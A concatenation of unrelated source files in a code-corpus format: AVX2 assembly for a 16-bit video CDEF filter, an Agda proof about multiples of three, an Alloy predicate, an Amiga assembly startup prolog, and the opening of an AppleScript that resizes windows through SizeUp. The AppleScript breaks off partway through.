vinserti128 m5, [tmpq+offq+32*1], 1
%endif
psubw m4, m1 ; diff_k1p0
psubw m5, m1 ; diff_k1p1
psignw m2, m3 ; constrain(diff_k0p1)
pabsw m3, m4 ; adiff_k1p0
paddw m0, m2 ; constrain(diff_k0)
psrlw m2, m3, [pri_shift+gprsize]
psubusw m7, m6, m2
pabsw m2, m5 ; adiff_k1p1
pminsw m7, m3
psrlw m3, m2, [pri_shift+gprsize]
psignw m7, m4 ; constrain(diff_k1p0)
psubusw m4, m6, m3
pminsw m4, m2
psignw m4, m5 ; constrain(diff_k1p1)
paddw m7, m4 ; constrain(diff_k1)
pmullw m0, m9 ; pri_tap_k0
pmullw m7, m10 ; pri_tap_k1
paddw m0, m7 ; sum
psraw m2, m0, 15
paddw m0, m2
pmulhrsw m0, m8
add tmpq, 32*2
paddw m0, m1
%if %1 == 4
vextracti128 xm1, m0, 1
movq [dstq+strideq*0], xm0
movq [dstq+strideq*1], xm1
movhps [dstq+strideq*2], xm0
movhps [dstq+r9 ], xm1
lea dstq, [dstq+strideq*4]
%else
mova [dstq+strideq*0], xm0
vextracti128 [dstq+strideq*1], m0, 1
lea dstq, [dstq+strideq*2]
%endif
ret
ALIGN function_align
.sec:
movsx offq, byte [dirq+8] ; off1_k0
%if %1 == 4
mova m1, [tmpq+32*0]
punpcklqdq m1, [tmpq+32*1]
movu m2, [tmpq+offq+32*0]
punpcklqdq m2, [tmpq+offq+32*1] ; k0s0
neg offq
movu m3, [tmpq+offq+32*0]
punpcklqdq m3, [tmpq+offq+32*1] ; k0s1
%else
mova xm1, [tmpq+32*0]
vinserti128 m1, [tmpq+32*1], 1
movu xm2, [tmpq+offq+32*0]
vinserti128 m2, [tmpq+offq+32*1], 1
neg offq
movu xm3, [tmpq+offq+32*0]
vinserti128 m3, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+0] ; off2_k0
psubw m2, m1 ; diff_k0s0
psubw m3, m1 ; diff_k0s1
pabsw m4, m2 ; adiff_k0s0
psrlw m5, m4, [sec_shift+gprsize]
psubusw m0, m6, m5
pabsw m5, m3 ; adiff_k0s1
pminsw m0, m4
psrlw m4, m5, [sec_shift+gprsize]
psignw m0, m2 ; constrain(diff_k0s0)
psubusw m2, m6, m4
pminsw m2, m5
%if %1 == 4
movu m4, [tmpq+offq+32*0]
punpcklqdq m4, [tmpq+offq+32*1] ; k0s2
neg offq
movu m5, [tmpq+offq+32*0]
punpcklqdq m5, [tmpq+offq+32*1] ; k0s3
%else
movu xm4, [tmpq+offq+32*0]
vinserti128 m4, [tmpq+offq+32*1], 1
neg offq
movu xm5, [tmpq+offq+32*0]
vinserti128 m5, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+9] ; off1_k1
psubw m4, m1 ; diff_k0s2
psubw m5, m1 ; diff_k0s3
psignw m2, m3 ; constrain(diff_k0s1)
pabsw m3, m4 ; adiff_k0s2
paddw m0, m2
psrlw m2, m3, [sec_shift+gprsize]
psubusw m7, m6, m2
pabsw m2, m5 ; adiff_k0s3
pminsw m7, m3
psrlw m3, m2, [sec_shift+gprsize]
psignw m7, m4 ; constrain(diff_k0s2)
psubusw m4, m6, m3
pminsw m4, m2
%if %1 == 4
movu m2, [tmpq+offq+32*0]
punpcklqdq m2, [tmpq+offq+32*1] ; k1s0
neg offq
movu m3, [tmpq+offq+32*0]
punpcklqdq m3, [tmpq+offq+32*1] ; k1s1
%else
movu xm2, [tmpq+offq+32*0]
vinserti128 m2, [tmpq+offq+32*1], 1
neg offq
movu xm3, [tmpq+offq+32*0]
vinserti128 m3, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+1] ; off2_k1
paddw m0, m7
psignw m4, m5 ; constrain(diff_k0s3)
paddw m0, m4 ; constrain(diff_k0)
psubw m2, m1 ; diff_k1s0
psubw m3, m1 ; diff_k1s1
paddw m0, m0 ; sec_tap_k0
pabsw m4, m2 ; adiff_k1s0
psrlw m5, m4, [sec_shift+gprsize]
psubusw m7, m6, m5
pabsw m5, m3 ; adiff_k1s1
pminsw m7, m4
psrlw m4, m5, [sec_shift+gprsize]
psignw m7, m2 ; constrain(diff_k1s0)
psubusw m2, m6, m4
pminsw m2, m5
%if %1 == 4
movu m4, [tmpq+offq+32*0]
punpcklqdq m4, [tmpq+offq+32*1] ; k1s2
neg offq
movu m5, [tmpq+offq+32*0]
punpcklqdq m5, [tmpq+offq+32*1] ; k1s3
%else
movu xm4, [tmpq+offq+32*0]
vinserti128 m4, [tmpq+offq+32*1], 1
neg offq
movu xm5, [tmpq+offq+32*0]
vinserti128 m5, [tmpq+offq+32*1], 1
%endif
paddw m0, m7
psubw m4, m1 ; diff_k1s2
psubw m5, m1 ; diff_k1s3
psignw m2, m3 ; constrain(diff_k1s1)
pabsw m3, m4 ; adiff_k1s2
paddw m0, m2
psrlw m2, m3, [sec_shift+gprsize]
psubusw m7, m6, m2
pabsw m2, m5 ; adiff_k1s3
pminsw m7, m3
psrlw m3, m2, [sec_shift+gprsize]
psignw m7, m4 ; constrain(diff_k1s2)
psubusw m4, m6, m3
pminsw m4, m2
paddw m0, m7
psignw m4, m5 ; constrain(diff_k1s3)
paddw m0, m4 ; sum
psraw m2, m0, 15
paddw m0, m2
pmulhrsw m0, m8
add tmpq, 32*2
paddw m0, m1
%if %1 == 4
vextracti128 xm1, m0, 1
movq [dstq+strideq*0], xm0
movq [dstq+strideq*1], xm1
movhps [dstq+strideq*2], xm0
movhps [dstq+r9 ], xm1
lea dstq, [dstq+strideq*4]
%else
mova [dstq+strideq*0], xm0
vextracti128 [dstq+strideq*1], m0, 1
lea dstq, [dstq+strideq*2]
%endif
ret
ALIGN function_align
.pri_sec:
movsx offq, byte [dirq+8] ; off2_k0
%if %1 == 4
mova m1, [tmpq+32*0]
punpcklqdq m1, [tmpq+32*1]
movu m2, [tmpq+offq+32*0]
punpcklqdq m2, [tmpq+offq+32*1] ; k0s0
neg offq
movu m3, [tmpq+offq+32*0]
punpcklqdq m3, [tmpq+offq+32*1] ; k0s1
%else
mova xm1, [dstq+strideq*0]
vinserti128 m1, [dstq+strideq*1], 1
movu xm2, [tmpq+offq+32*0]
vinserti128 m2, [tmpq+offq+32*1], 1
neg offq
movu xm3, [tmpq+offq+32*0]
vinserti128 m3, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+0] ; off3_k0
pmaxsw m11, m2, m3
pminuw m12, m2, m3
psubw m2, m1 ; diff_k0s0
psubw m3, m1 ; diff_k0s1
pabsw m4, m2 ; adiff_k0s0
psrlw m5, m4, [sec_shift+gprsize]
psubusw m0, m13, m5
pabsw m5, m3 ; adiff_k0s1
pminsw m0, m4
psrlw m4, m5, [sec_shift+gprsize]
psignw m0, m2 ; constrain(diff_k0s0)
psubusw m2, m13, m4
pminsw m2, m5
%if %1 == 4
movu m4, [tmpq+offq+32*0]
punpcklqdq m4, [tmpq+offq+32*1] ; k0s2
neg offq
movu m5, [tmpq+offq+32*0]
punpcklqdq m5, [tmpq+offq+32*1] ; k0s3
%else
movu xm4, [tmpq+offq+32*0]
vinserti128 m4, [tmpq+offq+32*1], 1
neg offq
movu xm5, [tmpq+offq+32*0]
vinserti128 m5, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+9] ; off2_k1
psignw m2, m3 ; constrain(diff_k0s1)
pmaxsw m11, m4
pminuw m12, m4
pmaxsw m11, m5
pminuw m12, m5
psubw m4, m1 ; diff_k0s2
psubw m5, m1 ; diff_k0s3
paddw m0, m2
pabsw m3, m4 ; adiff_k0s2
psrlw m2, m3, [sec_shift+gprsize]
psubusw m7, m13, m2
pabsw m2, m5 ; adiff_k0s3
pminsw m7, m3
psrlw m3, m2, [sec_shift+gprsize]
psignw m7, m4 ; constrain(diff_k0s2)
psubusw m4, m13, m3
pminsw m4, m2
%if %1 == 4
movu m2, [tmpq+offq+32*0]
punpcklqdq m2, [tmpq+offq+32*1] ; k1s0
neg offq
movu m3, [tmpq+offq+32*0]
punpcklqdq m3, [tmpq+offq+32*1] ; k1s1
%else
movu xm2, [tmpq+offq+32*0]
vinserti128 m2, [tmpq+offq+32*1], 1
neg offq
movu xm3, [tmpq+offq+32*0]
vinserti128 m3, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+1] ; off3_k1
paddw m0, m7
psignw m4, m5 ; constrain(diff_k0s3)
pmaxsw m11, m2
pminuw m12, m2
pmaxsw m11, m3
pminuw m12, m3
paddw m0, m4 ; constrain(diff_k0)
psubw m2, m1 ; diff_k1s0
psubw m3, m1 ; diff_k1s1
paddw m0, m0 ; sec_tap_k0
pabsw m4, m2 ; adiff_k1s0
psrlw m5, m4, [sec_shift+gprsize]
psubusw m7, m13, m5
pabsw m5, m3 ; adiff_k1s1
pminsw m7, m4
psrlw m4, m5, [sec_shift+gprsize]
psignw m7, m2 ; constrain(diff_k1s0)
psubusw m2, m13, m4
pminsw m2, m5
%if %1 == 4
movu m4, [tmpq+offq+32*0]
punpcklqdq m4, [tmpq+offq+32*1] ; k1s2
neg offq
movu m5, [tmpq+offq+32*0]
punpcklqdq m5, [tmpq+offq+32*1] ; k1s3
%else
movu xm4, [tmpq+offq+32*0]
vinserti128 m4, [tmpq+offq+32*1], 1
neg offq
movu xm5, [tmpq+offq+32*0]
vinserti128 m5, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+4] ; off1_k0
paddw m0, m7
psignw m2, m3 ; constrain(diff_k1s1)
pmaxsw m11, m4
pminuw m12, m4
pmaxsw m11, m5
pminuw m12, m5
psubw m4, m1 ; diff_k1s2
psubw m5, m1 ; diff_k1s3
pabsw m3, m4 ; adiff_k1s2
paddw m0, m2
psrlw m2, m3, [sec_shift+gprsize]
psubusw m7, m13, m2
pabsw m2, m5 ; adiff_k1s3
pminsw m7, m3
psrlw m3, m2, [sec_shift+gprsize]
psignw m7, m4 ; constrain(diff_k1s2)
psubusw m4, m13, m3
pminsw m4, m2
paddw m0, m7
%if %1 == 4
movu m2, [tmpq+offq+32*0]
punpcklqdq m2, [tmpq+offq+32*1] ; k0p0
neg offq
movu m3, [tmpq+offq+32*0]
punpcklqdq m3, [tmpq+offq+32*1] ; k0p1
%else
movu xm2, [tmpq+offq+32*0]
vinserti128 m2, [tmpq+offq+32*1], 1
neg offq
movu xm3, [tmpq+offq+32*0]
vinserti128 m3, [tmpq+offq+32*1], 1
%endif
movsx offq, byte [dirq+5] ; off1_k1
psignw m4, m5 ; constrain(diff_k1s3)
pmaxsw m11, m2
pminuw m12, m2
pmaxsw m11, m3
pminuw m12, m3
psubw m2, m1 ; diff_k0p0
psubw m3, m1 ; diff_k0p1
paddw m0, m4
pabsw m4, m2 ; adiff_k0p0
psrlw m5, m4, [pri_shift+gprsize]
psubusw m7, m6, m5
pabsw m5, m3 ; adiff_k0p1
pminsw m7, m4
psrlw m4, m5, [pri_shift+gprsize]
psignw m7, m2 ; constrain(diff_k0p0)
psubusw m2, m6, m4
pminsw m2, m5
%if %1 == 4
movu m4, [tmpq+offq+32*0]
punpcklqdq m4, [tmpq+offq+32*1] ; k1p0
neg offq
movu m5, [tmpq+offq+32*0]
punpcklqdq m5, [tmpq+offq+32*1] ; k1p1
%else
movu xm4, [tmpq+offq+32*0]
vinserti128 m4, [tmpq+offq+32*1], 1
neg offq
movu xm5, [tmpq+offq+32*0]
vinserti128 m5, [tmpq+offq+32*1], 1
%endif
psignw m2, m3 ; constrain(diff_k0p1)
paddw m7, m2 ; constrain(diff_k0)
pmaxsw m11, m4
pminuw m12, m4
pmaxsw m11, m5
pminuw m12, m5
psubw m4, m1 ; diff_k1p0
psubw m5, m1 ; diff_k1p1
pabsw m3, m4 ; adiff_k1p0
pmullw m7, m9 ; pri_tap_k0
paddw m0, m7
psrlw m2, m3, [pri_shift+gprsize]
psubusw m7, m6, m2
pabsw m2, m5 ; adiff_k1p1
pminsw m7, m3
psrlw m3, m2, [pri_shift+gprsize]
psignw m7, m4 ; constrain(diff_k1p0)
psubusw m4, m6, m3
pminsw m4, m2
psignw m4, m5 ; constrain(diff_k1p1)
paddw m7, m4 ; constrain(diff_k1)
pmullw m7, m10 ; pri_tap_k1
paddw m0, m7 ; sum
psraw m2, m0, 15
paddw m0, m2
pmulhrsw m0, m8
add tmpq, 32*2
pmaxsw m11, m1
pminuw m12, m1
paddw m0, m1
pminsw m0, m11
pmaxsw m0, m12
%if %1 == 4
vextracti128 xm1, m0, 1
movq [dstq+strideq*0], xm0
movq [dstq+strideq*1], xm1
movhps [dstq+strideq*2], xm0
movhps [dstq+r9 ], xm1
lea dstq, [dstq+strideq*4]
%else
mova [dstq+strideq*0], xm0
vextracti128 [dstq+strideq*1], m0, 1
lea dstq, [dstq+strideq*2]
%endif
ret
%endif
%endmacro
INIT_YMM avx2
cglobal cdef_filter_4x4_16bpc, 5, 10, 9, 16*10, dst, stride, left, top, bot, \
pri, sec, edge
%if WIN64
%define px rsp+16*6
%define offq r8
%define pri_shift rsp+16*2
%define sec_shift rsp+16*3
%else
%define px rsp+16*4
%define offq r4
%define pri_shift rsp+16*0
%define sec_shift rsp+16*1
%endif
%define base r8-dir_table4
mov edged, r9m
lea r8, [dir_table4]
movu xm0, [dstq+strideq*0]
movu xm1, [dstq+strideq*1]
lea r9, [strideq*3]
movu xm2, [dstq+strideq*2]
movu xm3, [dstq+r9 ]
vpbroadcastd m7, [base+pw_m16384]
mova [px+16*0+0], xm0
mova [px+16*1+0], xm1
mova [px+16*2+0], xm2
mova [px+16*3+0], xm3
test edgeb, 4 ; HAVE_TOP
jz .no_top
movu xm0, [topq+strideq*0]
movu xm1, [topq+strideq*1]
mova [px-16*2+0], xm0
mova [px-16*1+0], xm1
test edgeb, 1 ; HAVE_LEFT
jz .top_no_left
movd xm0, [topq+strideq*0-4]
movd xm1, [topq+strideq*1-4]
movd [px-16*2-4], xm0
movd [px-16*1-4], xm1
jmp .top_done
.no_top:
mova [px-16*2+0], m7
.top_no_left:
movd [px-16*2-4], xm7
movd [px-16*1-4], xm7
.top_done:
test edgeb, 8 ; HAVE_BOTTOM
jz .no_bottom
movu xm0, [botq+strideq*0]
movu xm1, [botq+strideq*1]
mova [px+16*4+0], xm0
mova [px+16*5+0], xm1
test edgeb, 1 ; HAVE_LEFT
jz .bottom_no_left
movd xm0, [botq+strideq*0-4]
movd xm1, [botq+strideq*1-4]
movd [px+16*4-4], xm0
movd [px+16*5-4], xm1
jmp .bottom_done
.no_bottom:
mova [px+16*4+0], m7
.bottom_no_left:
movd [px+16*4-4], xm7
movd [px+16*5-4], xm7
.bottom_done:
test edgeb, 1 ; HAVE_LEFT
jz .no_left
movd xm0, [leftq+4*0]
movd xm1, [leftq+4*1]
movd xm2, [leftq+4*2]
movd xm3, [leftq+4*3]
movd [px+16*0-4], xm0
movd [px+16*1-4], xm1
movd [px+16*2-4], xm2
movd [px+16*3-4], xm3
jmp .left_done
.no_left:
REPX {movd [px+16*x-4], xm7}, 0, 1, 2, 3
.left_done:
test edgeb, 2 ; HAVE_RIGHT
jnz .padding_done
REPX {movd [px+16*x+8], xm7}, -2, -1, 0, 1, 2, 3, 4, 5
.padding_done:
CDEF_FILTER 4, 4
cglobal cdef_filter_4x8_16bpc, 5, 10, 9, 16*14, dst, stride, left, top, bot, \
pri, sec, edge
mov edged, r9m
movu xm0, [dstq+strideq*0]
movu xm1, [dstq+strideq*1]
lea r9, [strideq*3]
movu xm2, [dstq+strideq*2]
movu xm3, [dstq+r9 ]
lea r6, [dstq+strideq*4]
movu xm4, [r6 +strideq*0]
movu xm5, [r6 +strideq*1]
movu xm6, [r6 +strideq*2]
movu xm7, [r6 +r9 ]
lea r8, [dir_table4]
mova [px+16*0+0], xm0
mova [px+16*1+0], xm1
mova [px+16*2+0], xm2
mova [px+16*3+0], xm3
mova [px+16*4+0], xm4
mova [px+16*5+0], xm5
mova [px+16*6+0], xm6
mova [px+16*7+0], xm7
vpbroadcastd m7, [base+pw_m16384]
test edgeb, 4 ; HAVE_TOP
jz .no_top
movu xm0, [topq+strideq*0]
movu xm1, [topq+strideq*1]
mova [px-16*2+0], xm0
mova [px-16*1+0], xm1
test edgeb, 1 ; HAVE_LEFT
jz .top_no_left
movd xm0, [topq+strideq*0-4]
movd xm1, [topq+strideq*1-4]
movd [px-16*2-4], xm0
movd [px-16*1-4], xm1
jmp .top_done
.no_top:
mova [px-16*2+0], m7
.top_no_left:
movd [px-16*2-4], xm7
movd [px-16*1-4], xm7
.top_done:
test edgeb, 8 ; HAVE_BOTTOM
jz .no_bottom
movu xm0, [botq+strideq*0]
movu xm1, [botq+strideq*1]
mova [px+16*8+0], xm0
mova [px+16*9+0], xm1
test edgeb, 1 ; HAVE_LEFT
jz .bottom_no_left
movd xm0, [botq+strideq*0-4]
movd xm1, [botq+strideq*1-4]
movd [px+16*8-4], xm0
movd [px+16*9-4], xm1
jmp .bottom_done
.no_bottom:
mova [px+16*8+0], m7
.bottom_no_left:
movd [px+16*8-4], xm7
movd [px+16*9-4], xm7
.bottom_done:
test edgeb, 1 ; HAVE_LEFT
jz .no_left
movd xm0, [leftq+4*0]
movd xm1, [leftq+4*1]
movd xm2, [leftq+4*2]
movd xm3, [leftq+4*3]
movd [px+16*0-4], xm0
movd [px+16*1-4], xm1
movd [px+16*2-4], xm2
movd [px+16*3-4], xm3
movd xm0, [leftq+4*4]
movd xm1, [leftq+4*5]
movd xm2, [leftq+4*6]
movd xm3, [leftq+4*7]
movd [px+16*4-4], xm0
movd [px+16*5-4], xm1
movd [px+16*6-4], xm2
movd [px+16*7-4], xm3
jmp .left_done
.no_left:
REPX {movd [px+16*x-4], xm7}, 0, 1, 2, 3, 4, 5, 6, 7
.left_done:
test edgeb, 2 ; HAVE_RIGHT
jnz .padding_done
REPX {movd [px+16*x+8], xm7}, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9
.padding_done:
CDEF_FILTER 4, 8
cglobal cdef_filter_8x8_16bpc, 5, 9, 9, 32*13, dst, stride, left, top, bot, \
pri, sec, edge
%if WIN64
%define px rsp+32*4
%else
%define px rsp+32*3
%endif
%define base r8-dir_table8
mov edged, r9m
movu m0, [dstq+strideq*0]
movu m1, [dstq+strideq*1]
lea r6, [dstq+strideq*2]
movu m2, [r6 +strideq*0]
movu m3, [r6 +strideq*1]
lea r6, [r6 +strideq*2]
movu m4, [r6 +strideq*0]
movu m5, [r6 +strideq*1]
lea r6, [r6 +strideq*2]
movu m6, [r6 +strideq*0]
movu m7, [r6 +strideq*1]
lea r8, [dir_table8]
mova [px+32*0+0], m0
mova [px+32*1+0], m1
mova [px+32*2+0], m2
mova [px+32*3+0], m3
mova [px+32*4+0], m4
mova [px+32*5+0], m5
mova [px+32*6+0], m6
mova [px+32*7+0], m7
vpbroadcastd m7, [base+pw_m16384]
test edgeb, 4 ; HAVE_TOP
jz .no_top
movu m0, [topq+strideq*0]
movu m1, [topq+strideq*1]
mova [px-32*2+0], m0
mova [px-32*1+0], m1
test edgeb, 1 ; HAVE_LEFT
jz .top_no_left
movd xm0, [topq+strideq*0-4]
movd xm1, [topq+strideq*1-4]
movd [px-32*2-4], xm0
movd [px-32*1-4], xm1
jmp .top_done
.no_top:
mova [px-32*2+0], m7
mova [px-32*1+0], m7
.top_no_left:
movd [px-32*2-4], xm7
movd [px-32*1-4], xm7
.top_done:
test edgeb, 8 ; HAVE_BOTTOM
jz .no_bottom
movu m0, [botq+strideq*0]
movu m1, [botq+strideq*1]
mova [px+32*8+0], m0
mova [px+32*9+0], m1
test edgeb, 1 ; HAVE_LEFT
jz .bottom_no_left
movd xm0, [botq+strideq*0-4]
movd xm1, [botq+strideq*1-4]
movd [px+32*8-4], xm0
movd [px+32*9-4], xm1
jmp .bottom_done
.no_bottom:
mova [px+32*8+0], m7
mova [px+32*9+0], m7
.bottom_no_left:
movd [px+32*8-4], xm7
movd [px+32*9-4], xm7
.bottom_done:
test edgeb, 1 ; HAVE_LEFT
jz .no_left
movd xm0, [leftq+4*0]
movd xm1, [leftq+4*1]
movd xm2, [leftq+4*2]
movd xm3, [leftq+4*3]
movd [px+32*0-4], xm0
movd [px+32*1-4], xm1
movd [px+32*2-4], xm2
movd [px+32*3-4], xm3
movd xm0, [leftq+4*4]
movd xm1, [leftq+4*5]
movd xm2, [leftq+4*6]
movd xm3, [leftq+4*7]
movd [px+32*4-4], xm0
movd [px+32*5-4], xm1
movd [px+32*6-4], xm2
movd [px+32*7-4], xm3
jmp .left_done
.no_left:
REPX {movd [px+32*x-4], xm7}, 0, 1, 2, 3, 4, 5, 6, 7
.left_done:
test edgeb, 2 ; HAVE_RIGHT
jnz .padding_done
REPX {movd [px+32*x+16], xm7}, -2, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9
.padding_done:
CDEF_FILTER 8, 8
cglobal cdef_dir_16bpc, 4, 7, 6, src, stride, var, bdmax
lea r6, [dir_shift]
shr bdmaxd, 11 ; 0 for 10bpc, 1 for 12bpc
vpbroadcastd m4, [r6+bdmaxq*4]
lea r6, [strideq*3]
mova xm0, [srcq+strideq*0]
mova xm1, [srcq+strideq*1]
mova xm2, [srcq+strideq*2]
mova xm3, [srcq+r6 ]
lea srcq, [srcq+strideq*4]
vinserti128 m0, [srcq+r6 ], 1
vinserti128 m1, [srcq+strideq*2], 1
vinserti128 m2, [srcq+strideq*1], 1
vinserti128 m3, [srcq+strideq*0], 1
REPX {pmulhuw x, m4}, m0, m1, m2, m3
jmp mangle(private_prefix %+ _cdef_dir_8bpc %+ SUFFIX).main
%endif ; ARCH_X86_64
|
Agda/Mult3.agda | Brethland/LEARNING-STUFF | 2 | 1091 | {-# OPTIONS --without-K --safe #-}
module Mult3 where
open import Data.Nat
open import Data.Nat.Properties
open import Relation.Binary.PropositionalEquality
data Mult3 : ℕ → Set where
0-mult : Mult3 0
SSS-mult : ∀ n → Mult3 n → Mult3 (suc (suc (suc n)))
data Mult3' : ℕ → Set where
30-mult : Mult3' 30
21-mult : Mult3' 21
sum-mult : ∀ n m → Mult3' n → Mult3' m → Mult3' (n + m)
diff-mult : ∀ l n m → Mult3' n → Mult3' m → l + n ≡ m → Mult3' l
silly3 : Mult3' 3
silly3 = diff-mult 3 9 12 (diff-mult 9 21 30 21-mult 30-mult refl) (diff-mult 12 9 21 (diff-mult 9 21 30 21-mult 30-mult refl) 21-mult refl) refl
lemma-plus : ∀ {n m : ℕ} → Mult3 n → Mult3 m → Mult3 (n + m)
lemma-plus 0-mult m = m
lemma-plus {m = m₁} (SSS-mult n n₁) m = SSS-mult (n + m₁) (lemma-plus n₁ m)
lemma-minus : ∀ {l n : ℕ} → Mult3 n → Mult3 (n + l) → Mult3 l
lemma-minus {l} {.0} 0-mult m₁ = m₁
lemma-minus {l} {.(suc (suc (suc n)))} (SSS-mult n n₁) (SSS-mult .(n + l) m₁) = lemma-minus n₁ m₁
lemma-silly : ∀ {m n : ℕ} → Mult3 m → m ≡ n → Mult3 n
lemma-silly m eq rewrite eq = m
mult-imp-mult' : ∀ {n : ℕ} → Mult3 n → Mult3' n
mult-imp-mult' 0-mult = diff-mult zero 30 30 30-mult 30-mult refl
mult-imp-mult' (SSS-mult n M) = sum-mult 3 n silly3 (mult-imp-mult' M)
mult'-imp-mult : ∀ {n : ℕ} → Mult3' n → Mult3 n
mult'-imp-mult 30-mult = SSS-mult 27
(SSS-mult 24
(SSS-mult 21
(SSS-mult 18
(SSS-mult 15
(SSS-mult 12
(SSS-mult 9 (SSS-mult 6 (SSS-mult 3 (SSS-mult zero 0-mult)))))))))
mult'-imp-mult 21-mult = SSS-mult 18
(SSS-mult 15
(SSS-mult 12
(SSS-mult 9 (SSS-mult 6 (SSS-mult 3 (SSS-mult zero 0-mult))))))
mult'-imp-mult (sum-mult n m M M₁) = lemma-plus (mult'-imp-mult M) (mult'-imp-mult M₁)
mult'-imp-mult (diff-mult l n m M M₁ x) rewrite +-comm l n = lemma-minus {l} {n} (mult'-imp-mult M) (lemma-silly {m} {n + l} (mult'-imp-mult M₁) (sym x))
|
alloy4fun_models/trashltl/models/3/x7BFd8HTPFjAtR9pZ.als | Kaixi26/org.alloytools.alloy | 0 | 5054 | open main
pred idx7BFd8HTPFjAtR9pZ_prop4 {
some f: File | f not in Protected implies eventually f in Trash
}
pred __repair { idx7BFd8HTPFjAtR9pZ_prop4 }
check __repair { idx7BFd8HTPFjAtR9pZ_prop4 <=> prop4o } |
src/lib/minbrt/prolog.asm | dMajoIT/aqb | 51 | 22178 | <filename>src/lib/minbrt/prolog.asm
SECTION prolog,CODE
MOVE.L sp, ___SaveSP
JSR __minbrt_startup
XDEF __autil_exit
__autil_exit:
JSR __minbrt_exit
MOVE.L 4(sp), d0 ; return code
MOVE.L ___SaveSP,sp
RTS
SECTION prolog_data, DATA
XDEF ___SaveSP
EVEN
___SaveSP:
DC.L 0
XDEF __break_status
EVEN
__break_status:
DC.L 0
|
SizeupPlus.applescript | jmussman/SizeupWindow | 0 | 3685 | <reponame>jmussman/SizeupWindow<filename>SizeupPlus.applescript
# SizeupPlus.scpt
# Copyright © 2020 <NAME>. All rights reserved.
#
# This script is released under the MIT license.
#
# This script positions to SizeUp by Irradiated Software leaves off (http://www.irradiatedsoftware.com/sizeup/).
# It was inspired by a suggestion from Irradiated Software to use scripts to control SizeUp. FastScript from
# Red Sweater Software (https://www.red-sweater.com/fastscripts/) is the recommended # solution for creating
# shortcuts to run the script (although you can use Automator or other solutions).
#
# The focus of the script is to resize and position the current window in ways that SizeUp does not incorporate.
# Because FastScript does not have any way to pass arguments when it launches a script or program, the name that
# the script is saved with controls what the script tells SizeUp to do. Unlike SizeUp which resizes based on
# the halves and quarters of the screen, this script moves the window and sets the size based on what the
# user tells it through the script name. The naming options for deployment are:
#
# spTopLeft-[Width]x[Height]
# spTopCenter-[Width]x[Height]
# spTopRight-[Width]x[Height]
# spMiddleLeft-[Width]x[Height]
# spMiddleCenter-[Width]x[Height]
# spMiddleRight-[Width]x[Height]
# spBottomLeft-[Width]x[Height]
# spBottomCenter-[Width]x[Height]
# spBottomRight-[Width]x[Height]
# spOrigin-[Width]x[Height]
# sp[xOffset]x[yOffset]-[width]x[height]
#
# Middle is halfway vertical, while Center is halfway horizontal. Origin will change the size, but not the
# upper-left corner of the window. Replace the [Width] and [Height] with the desired width and height
# of the window.
#
# Carefully follow FastScripts instructions for where to put the script(s). Make sure you leave it out
# of any Applications folder where FastScripts will bind it to a particular application.
#
# Implemntation details:
#
# Contrary to popular believe you can use regular expressions inside of AppleScript by
# leveraging the Foundation framework. This script includes a good example of that.
#
# NSScreen's mainScreen is always the screen with the window that has focus; the frame in mainScreen
# has the origin and size of hte window.
#
# It was the "Access NSScreen.scpt" script (https://gist.github.com/henryroe/8810193) that gave me
# the understanding of how to read the width and height from the frame.
#
# I had trouble running the script from the shortcut until I realized that I needed to
# grab the application name and then force it to reactivate just prior to issuing the
# resize command.
#
# SizeUp is used because the script will trigger a security question for each application window that it
# would try to modify directly. By using SizeUp one security question is hit to ask if FastScripts can
# control SizeUp, and SizeUp has already been granted control to resize and move windows.
#
use AppleScript version "2.4" # Yosemite (10.10) or later
use framework "Foundation"
use scripting additions
property NSRegularExpressionCaseInsensitive : a reference to 1
property NSRegularExpression : a reference to current application's NSRegularExpression
property NSNotFound : a reference to 9.22337203685477E+18 + 5807 -- see http://latenightsw.com/high-sierra-applescriptobjc-bugs/
# parseScriptName
# Return a four-element list containing the vertical and horizontal positions along with the width and the height.
#
on parseScriptName(name)
set nsStringName to current application's NSString's stringWithString:name
set pattern to "sp(Top|Middle|Bottom|Origin|\\d+x)(Left|Center|Right|\\d+-)?-?(\\d+)x(\\d+)"
set regex to NSRegularExpression's regularExpressionWithPattern:pattern options:NSRegularExpressionCaseInsensitive |error|:(missing value)
set matches to regex's matchesInString:nsStringName options:0 range:{0, nsStringName's |length|()}
set parts to {"", "", "", ""}
# There will be one top-level match with the four captures underneath it
repeat with aMatch in matches
# Ignore the top level match, it is the whole original input; just spin through the captures
#
# set wholeRange to (aMatch's rangeAtIndex:0) as record
# set wholevalue to text ((wholeRange's location) + 1) thru ((wholeRange's location) + (wholeRange's |length|)) of sample
set numRanges to aMatch's numberOfRanges as integer
repeat with rangeIndex from 1 to numRanges - 1
set partRange to (aMatch's rangeAtIndex:rangeIndex) as record
if partRange's location is not NSNotFound then
set item rangeIndex of parts to text ((partRange's location) + 1) thru ((partRange's location) + (partRange's |length|)) of name
end if
end repeat
end repeat
set item 3 of parts to item 3 of parts as integer
set item 4 of parts to item 4 of parts as integer
return parts
end parseScriptName
# getScriptName
# Return the script name that is running
#
on getScriptName()
# Get the path to the script file
tell application "System Events"
set myname to name of (path to me)
set extension to name extension of (path to me)
end tell
# Strip off the extension
if length of extension > 0 then
# Make sure that `text item delimiters` has its default value here.
set myname to items 1 through -(2 + (length of extension)) of myname as text
end if
return myname
end getScriptName
# getFrontApplicationName
# Return the name of the application that has focus
#
on getFrontApplicationName()
tell application "System Events"
set frontApp to first application process whose frontmost is true
set frontAppName to name of frontApp
end tell
return frontAppName
end getFrontApplicationName
# min
# Choose the minimum value of two numbers
#
on min(x, y)
if x ≤ y then
return x
else
return y
end if
end min
# main
# The main function of the program
#
on main()
try
set frontAppName to getFrontApplicationName()
set scriptName to getScriptName()
set newOrigin to parseScriptName(scriptName)
# Break apart newOrigin
set vertical to item 1 of newOrigin
set horizontal to item 2 of newOrigin
set windowWidth to item 3 of newOrigin as integer
set windowHeight to item 4 of newOrigin as integer
set originValueString to "\"" & scriptName & "\" -> { " & vertical & ", " & horizontal & ", " & windowWidth & ", " & windowHeight & " }"
# Debugging statement left intact for future use
# display dialog scriptName & ": " & originValueString
# Check the results
if windowWidth > 0 and windowHeight > 0 then
